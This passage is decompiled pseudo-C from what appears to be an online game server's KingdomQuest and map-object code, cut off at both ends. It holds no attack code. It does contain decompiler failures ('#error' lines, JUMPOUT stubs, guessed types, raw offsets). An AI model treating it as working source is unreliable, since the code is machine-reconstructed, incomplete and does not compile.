"KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&map_->n3_name[4]; v7 = *(_DWORD *)&map_->n3_name[0]; v4 = *(_DWORD *)&map_->n3_name[8]; v11 = 0; likqmf = &ListIteratorKingdomQuestMapFind::_vftable_; v8 = v3; v9 = v4; LOBYTE(v11) = 1; List::l_4AllInList(v2, (ListIteratorDefault *)&likqmf); --funcallanalizer.fca_stackpoint; likqmf = &ListIteratorDefault::_vftable_; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); __security_check_cookie(v10); return result; } // 5A914C: using guessed type int (__stdcall *ListIteratorKingdomQuestMapFind___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0046B270) -------------------------------------------------------- void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag) { AxialListObjectClear *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->aloc_clearflag = clearflag; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); } // 5A91B4: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (0046B310) -------------------------------------------------------- void __thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this) { AxialListMobKillLog *v1; // esi@1 v1 = (AxialListMobKillLog *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::~AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::~AxialListObjectClear"); AxialListWall::_AxialListWall(v1); } // 5A91B4: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (0046B3A0) -------------------------------------------------------- #error "46B3A0: undefined or illegal type '#331' (funcsize=44)" //----- (0046B460) -------------------------------------------------------- void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag) { void *v2; // esi@1 void *v3; // ecx@1 AxialListObjectClear aloc; // [sp+8h] [bp-14h]@1 int v5; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_ClearObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListObjectClear::AxialListObjectClear(&aloc, eraseflag); v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v5) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); LOBYTE(v5) = 0; AxialListObjectClear::_AxialListObjectClear(&aloc); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_ClearObject"); } //----- (0046B520) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RetrateFromMap", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RetrateFromMap"); } //----- (0046B5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)&v1->sdi_ItemOnField.iti_registnum.binary.gap0[0] = -1; v1->sdi_ItemOnField.iti_registnum.binary._bf4 = -1; memset(&v1->sdi_ItemOnField.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(v1->sdi_ItemOnField.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; v1->sdi_ItemOnField.iti_itemstruct.itemid = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_RetrateFromMap"); } //----- (0046B640) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->seo_VanishTime = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_RetrateFromMap"); } //----- (0046B6A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v1 + 7416) |= 1u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RetrateFromMap"); } //----- (0046B700) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_RetrateFromMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sd_Retrate = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_RetrateFromMap"); } //----- (0046B760) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (0046B7B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess) { int v3; // esi@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LinkToReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(v3 + 89030) = ShineObjectClass::ShinePlayer::sp_LinkReservStore(v3, lnkinf); *(_BYTE *)(v3 + 23324) = (TryUntilSuccess << 7) | *(_BYTE *)(v3 + 23324) & 0x5F | 0x20; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LinkToReserv"); } //----- (0046B870) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_TeleportReserv"); } //----- (0046B8C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_TeleportReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v2 + 23325) |= 1u; *((_DWORD *)v2 + 22258) = *(_DWORD *)Location; *((_DWORD *)v2 + 22259) = *(_DWORD *)(Location + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_TeleportReserv"); } //----- (0046B940) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) qsort( this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_sort : Subscript over", handle); } //----- (0046B990) -------------------------------------------------------- PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle) { PROTO_NC_KQ_JOINER *result; // eax@2 if ( handle < 0x80u ) { result = (PROTO_NC_KQ_JOINER *)bsearch( key, this->kqe_entrancelist[handle].players, this->kqe_entrancelist[handle].joinnumber, 4u, KingdomQuestEntrance::kqe_Compare); } else { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_search : Subscript over", handle); result = 0; } return result; } //----- (0046B9F0) -------------------------------------------------------- int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart) { KingdomQuestEntrance *v2; // ebx@1 unsigned __int16 v3; // cx@1 int v4; // ebx@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuestEntrance::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->kqe_Number.value = v2->kqe_Number.mask & (v2->kqe_Number.value + 1); v3 = kqstart->NumOfJoiner; if ( v3 > 0x64u ) { AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_newentrance : Too many entrance", v3); v3 = 100; } v2->kqe_entrancelist[v2->kqe_Number.value].joinnumber = v3; v2->kqe_entrancelist[v2->kqe_Number.value].entrynumber = 0; memcpy(v2->kqe_entrancelist[v2->kqe_Number.value].players, &kqstart[1], 4 * v3); v4 = v2->kqe_Number.value; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuestEntrance::operator []"); return v4; } //----- (0046BB10) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this) { KingdomQuestGate *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); v1->kqg_keeperpoint.mask = 255; v1->kqg_keeperpoint.value = 0; } //----- (0046BB50) -------------------------------------------------------- void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this) { _eh_vector_destructor_iterator_( this, 0x74u, 256, (void (__thiscall *)(void *))KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper); } //----- (0046BB70) -------------------------------------------------------- #error "46BB70: undefined or illegal type '#331' (funcsize=313)" //----- (0046BFF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, __int16 lsthnd, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 bool v9; // zf@1 unsigned __int16 v10; // ax@8 int v11; // edi@8 KingdomQuest::KQElement *v12; // eax@8 int v13; // edx@9 char *v14; // [sp-4h] [bp-90h]@5 char lnkinf; // [sp+14h] [bp-78h]@9 int v16; // [sp+28h] [bp-64h]@9 int v17; // [sp+2Ch] [bp-60h]@9 int v18; // [sp+30h] [bp-5Ch]@9 char v19; // [sp+34h] [bp-58h]@9 int v20; // [sp+49h] [bp-43h]@9 int v21; // [sp+4Dh] [bp-3Fh]@9 int v22; // [sp+51h] [bp-3Bh]@9 char v23; // [sp+55h] [bp-37h]@9 unsigned int v24; // [sp+6Ah] [bp-22h]@9 unsigned int v25; // [sp+6Eh] [bp-1Eh]@9 unsigned int v26; // [sp+7Ch] [bp-10h]@11 int v27; // [sp+88h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v27 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1352))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = (_S21_9 & 1) == 0; v8[16] = 0; if ( v9 ) { _S21_9 |= 1u; cmc_45.cmc_AllowMode = 86; atexit(_E22_8); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_45.cmc_AllowMode && *(_BYTE *)(netcmd + 2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1140))(v4); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); v11 = *(_DWORD *)(netcmd + 3) ^ v10; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); v12 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v11, (unsigned __int16 *)&netcmd); if ( v12 ) { v16 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[0]; v17 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[4]; v18 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapName.n3_name[8]; v20 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[0]; v21 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[4]; v22 = *(_DWORD *)&v12->kqe_mapinfo[0].mapinfo.MapBase.n3_name[8]; v23 = 0; v19 = 0; v24 = v12->kqe_mapinfo[0].mapinf->RegenX; v13 = *(_DWORD *)v4; v25 = v12->kqe_mapinfo[0].mapinf->RegenY; (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(v13 + 1472))(v4, &lnkinf, 6, 9, 10); } v14 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } else { v14 = "ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK"; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie(v26); } //----- (0046C200) -------------------------------------------------------- #error "46C200: undefined or illegal type '#592' (funcsize=199)" //----- (0046C500) -------------------------------------------------------- int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere) { KingdomQuest::KQElement *v2; // esi@1 int v3; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQElement::kqe_ReviveNumber"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *revivehere = 0; switch ( v2->kqe_kqinfo.baseclass_0.PlayerRevivalMode ) { case 1: v3 = 99999; *revivehere = 0; break; case 2: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 0; break; case 3: v3 = 99999; *revivehere = 1; break; case 4: v3 = v2->kqe_kqinfo.baseclass_0.PlayerRevivalCount; *revivehere = 1; break; default: v3 = 0; break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KingdomQuest::KQElement::kqe_ReviveNumber"); return v3; } //----- (0046C5B0) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this) { void *v1; // edi@1 int v2; // eax@1 unsigned int v3; // eax@3 KingdomQuest::KQElement *v4; // esi@4 KingdomQuest::KQElement *result; // eax@5 __int16 lsthnd; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MyKQElement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v8 = 0; if ( v2 && *(_DWORD *)(v2 + 12) && (v3 = *(_DWORD *)(v2 + 60), v3 != -1) ) { v4 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v3, (unsigned __int16 *)&lsthnd); if ( v4 != 0 ) { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = v4; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MyKQElement : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MyKQElement"); result = 0; } return result; } //----- (0046C6F0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown - 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpi_KnockDownMinus"); return v4; } //----- (0046C750) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // edx@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown + 1; v2->kqpi_KnockDown = v3; --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownPlus"); return v4; } //----- (0046C7B0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum) { KingdomQuest::KQPlayerInform *v2; // esi@1 int v3; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqpi_KnockDown; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_KnockDownGet"); return v3; } //----- (0046C820) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_GetBattleStat"); return &ShineObjectClass::ShineObject::so_DefBattleStat; } //----- (0046C870) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *this) { void *v1; // ebx@1 int v2; // edx@1 int v3; // eax@1 int v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 const void *v7; // esi@7 ItemDataBox::ItemDataBoxIndex *v8; // eax@7 ItemInfoServer *v9; // eax@8 int v10; // ST1C_4@10 CServerInfo::MY_SERVER *v11; // eax@10 int v12; // esi@10 ItemAttributeClass *v13; // eax@10 ItemAttributeClass *v14; // ST18_4@10 int v15; // eax@10 int v16; // eax@10 int ibii; // [sp+Ch] [bp-9Ch]@1 char *v18; // [sp+10h] [bp-98h]@1 int v19; // [sp+14h] [bp-94h]@4 int v20; // [sp+18h] [bp-90h]@4 FunctionEntarance _; // [sp+1Ch] [bp-8Ch]@1 char item; // [sp+20h] [bp-88h]@10 unsigned __int16 itmid[2]; // [sp+28h] [bp-80h]@10 __int16 v24; // [sp+8Ch] [bp-1Ch]@10 char v25; // [sp+8Eh] [bp-1Ah]@10 unsigned int cookie; // [sp+94h] [bp-14h]@13 int v27; // [sp+A4h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v27 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1156))(v1); v4 = (int)((char *)v1 + 35568); ibii = (int)ItemBoxIterator::_vftable_; v18 = (char *)v1 + 35568; if ( v3 ) v5 = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 4))(v3); else v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); v20 = v5; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v27) = 1; v19 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v6 = (**(int (__stdcall ***)(_DWORD))v18)(v19); if ( v6 ) { v7 = (const void *)(v6 + 8); v8 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( v8 ) { v9 = v8->dataserv; if ( v9 ) { if ( v9->KQ_Item_Drop ) { v10 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v11 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&item, 3, v11->nZoneNo, v10); memcpy(itmid, v7, 0x64u); v12 = (int)((char *)v7 + 100); v24 = *(_WORD *)v12; v12 += 2; v25 = *(_BYTE *)v12++; v13 = ItemAttributeClassContainer::operator__(&itmattcontainer, itmid[0]); LOWORD(v12) = *((_WORD *)v1 + 2); v14 = v13; v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v16 = (unsigned __int8)ShineObjectClass::ShineObject::so_IsDropping( v1, &item, 1, 0, (unsigned __int16)v12, v12, v15, v14, 2); if ( !(_BYTE)v16 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_KQItemDrop : Drop fail", v16); } } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); } --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQItemDrop"); __security_check_cookie(cookie); } // 47E740: using guessed type int __thiscall ShineObjectClass__ShineObject__so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (0046CA70) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x34u); return 1; } // 46CA85: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0046CAA0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall 